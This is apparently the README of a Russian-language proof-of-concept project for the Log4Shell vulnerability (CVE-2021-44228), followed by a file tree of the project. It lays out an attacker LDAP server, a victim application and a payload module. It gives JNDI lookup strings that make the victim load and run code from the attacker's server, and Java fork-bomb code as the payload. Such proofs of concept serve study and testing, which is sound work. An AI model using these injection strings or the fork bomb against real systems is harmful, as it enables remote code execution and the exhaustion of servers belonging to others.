💣💥💀 Proof of Concept: пример запуска fork-бомбы на удаленном сервере благодаря уязвимости CVE-2021-44228# log4j-exploit-with-fork-bomb
💣💥💀 Proof of Concept: пример запуска fork-бомбы на удаленном сервере благодаря уязвимости CVE-2021-44228
1. Создаем LDAP сервер атакующего (модуль server), который будет выдавать представления строк и кода (модуль payload)
2. Создаем пример жертвы (модуль victim) и передаем в Log4j строку
Версия JRE <= 6u211, 7u201, 8u191 и 11.0.1
```bash
${jndi:ldap://127.0.0.1:1389/anything}
${jndi:ldap://127.0.0.1:1389/jar}
```
3. Приложение-жертва получит от сервера атакующего массив байт и интерпретирует их в подставляемую строку или в выполяемый код (параметр `com.sun.jndi.ldap.object.trustURLCodebase = true`)
4. Для примера, исполняемым кодом будет fork-бомба (программа, которая запускает свои копии забивая все процессорное время)
```java
public class ForkBomb {
public static void main(String... args) {
Runtime.getRuntime().exec(new String[] {
"javaw",
"-cp",
System.getProperty("java.class.path"),
"ForkBomb"
});
}
}
```
[4.0K] /data/pocs/5f55a021d6b791c3e8797cf932b41392ddfd969d
├── [ 265] build.gradle.kts
├── [4.0K] gradle
│ └── [4.0K] wrapper
│ ├── [ 59K] gradle-wrapper.jar
│ └── [ 230] gradle-wrapper.properties
├── [7.9K] gradlew
├── [2.6K] gradlew.bat
├── [4.0K] payload
│ ├── [ 288] build.gradle.kts
│ └── [4.0K] src
│ └── [4.0K] main
│ └── [4.0K] java
│ └── [4.0K] me
│ └── [4.0K] func
│ └── [4.0K] payload
│ └── [ 261] Exploit.java
├── [1.4K] README.md
├── [4.0K] server
│ ├── [ 191] build.gradle.kts
│ └── [4.0K] src
│ └── [4.0K] main
│ └── [4.0K] java
│ └── [4.0K] me
│ └── [4.0K] func
│ └── [4.0K] exploit
│ ├── [ 152] App.java
│ ├── [4.0K] behavior
│ │ ├── [ 695] Injector.java
│ │ ├── [ 726] JarInjector.java
│ │ └── [ 592] MessageInjector.java
│ ├── [1.3K] Interceptor.java
│ └── [1.8K] LdapServer.java
├── [ 91] settings.gradle.kts
└── [4.0K] victim
├── [ 168] build.gradle.kts
└── [4.0K] src
└── [4.0K] main
├── [4.0K] java
│ └── [4.0K] me
│ └── [4.0K] func
│ └── [4.0K] victim
│ └── [ 718] App.java
└── [4.0K] resources
└── [ 565] log4j.xml
25 directories, 19 files